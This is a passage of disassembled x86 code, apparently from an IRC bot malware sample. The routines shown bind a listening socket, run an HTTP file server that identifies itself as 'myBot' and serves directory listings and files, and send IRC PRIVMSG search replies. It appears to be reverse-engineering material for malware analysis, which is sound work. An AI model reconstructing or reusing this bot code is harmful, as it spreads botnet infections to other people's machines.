0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 0FF57FFFFh, 4CB03C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h dd 77DC085h, 60E9C38Bh, 6A000005h, 83E8570Ah, 90716A73h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 1468156Ah, 50004338h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0C68FFFFh, 50004338h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 433804h, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337EC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337E468h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337CC68h dd 8D61EB00h, 0FFFF5085h, 37C468FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 37B4680Dh, 40EB0043h, 0FF50858Dh dd 0AC68FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 9868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 433794h dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 433774h dd 2F1E957h, 6CBF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376868h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43375468h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433750h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 43373Ch, 27BE9h, 50858D00h dd 68FFFFFFh, 433734h, 0D352E850h, 85590000h, 347559C0h dd 8BE0A6Ah, 59004337h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 68FFFFh, 50004337h dd 0D307E8h, 0C0855900h, 6A2A7559h, 36E8BE05h, 8D590043h dd 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h, 51E8A450h dd 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h, 68FFFFFFh dd 4336E0h, 0D2C6E850h, 85590000h, 850F59C0h, 0B6h, 0FD2C858Dh dd 8D50FFFFh, 0FFFF0485h, 458D50FFh, 458D50ECh, 458D50E8h dd 458D50E0h, 858D50D8h, 0FFFFFD60h, 4336B868h, 62E85000h dd 8D0000D8h, 0FFFF0485h, 8AE850FFh, 8B0000C9h, 2C858DF8h dd 50FFFFFDh, 0C97CE8h, 0F4458900h, 858D326Ah, 0FFFFFF04h dd 81E85056h, 830000C7h, 858D34C4h, 0FFFFFF04h, 57F475FFh dd 4336B068h, 5FE85000h, 6A0000CAh, 4858D10h, 56FFFFFFh dd 0CF8FE850h, 0C4830000h, 0F445891Ch, 50EC458Dh, 50E8458Dh dd 50E0458Dh, 50D8458Dh, 68C4458Dh, 4336A4h, 0CA2CE850h dd 0C4830000h, 1D6A5618h, 43368468h, 11EE900h, 858D0000h dd 0FFFFFF50h, 43367C68h, 0F5E85000h, 590000D1h, 0F59C085h dd 0E485h, 286A5600h, 43365068h, 875FF00h, 75FFD3FFh, 0C4458DF4h dd 120E850h, 83590000h, 0F5901F8h, 0B685h, 0C4458D00h dd 20858D50h, 68FFFFF7h, 433634h, 0C9C8E850h, 0C4830000h dd 0BCB5390Ch, 75FFFFFBh, 858D5623h, 0FFFFF720h, 0FBB8B5FFh dd 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h dd 14C483FFh, 14AE8h, 1F88300h, 93850Fh, 6A560000h, 361C6817h dd 75FF0043h, 8DD3FF08h, 8D50C445h, 0FFF72085h, 35FC68FFh dd 0E8500043h, 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh dd 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh dd 0F920B5FFh, 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h dd 6256E850h, 5FF0000h, 4CDAB0h, 562EEB59h, 0D868206Ah dd 0EB004335h, 50858D1Fh, 68FFFFFFh, 42C9C4h, 0D0F6E850h dd 85590000h, 0D7559C0h, 681B6A56h, 4335BCh, 0FF0875FFh dd 8D646AD3h, 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh dd 3B470CC4h, 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h dd 5F58016Ah, 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 call near ptr 71AB3C22h nop push dword ptr [ebp+8] mov dword_4CDCF8, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCF8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCF8 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2660000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCF8 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2660D05h test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCF8 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAFA4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEEC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFD0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAFCC cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB040 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF8C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE90 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB038 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAFBC test eax, eax jg short loc_40F2F7 push esi call dword_4CB03C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA64 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_433854 ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB040 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB03C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF38 push eax lea eax, [ebp+var_8F0] push offset unk_43382C push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2730000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2720000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFF4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB03C push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293F4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_4299C8 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 2670B81h nop push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AE0 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB03C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 26F09A7h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2730B98h push esi mov [ebp+var_330], eax nop call near ptr 26508C8h loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433AAC push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEE4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi call near ptr 2660D86h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEF4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 nop call near ptr 2660D05h jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB03C nop call near ptr 267064Ch push eax lea eax, [ebp+var_8C4] push offset unk_433A74 push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_4299C8 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset 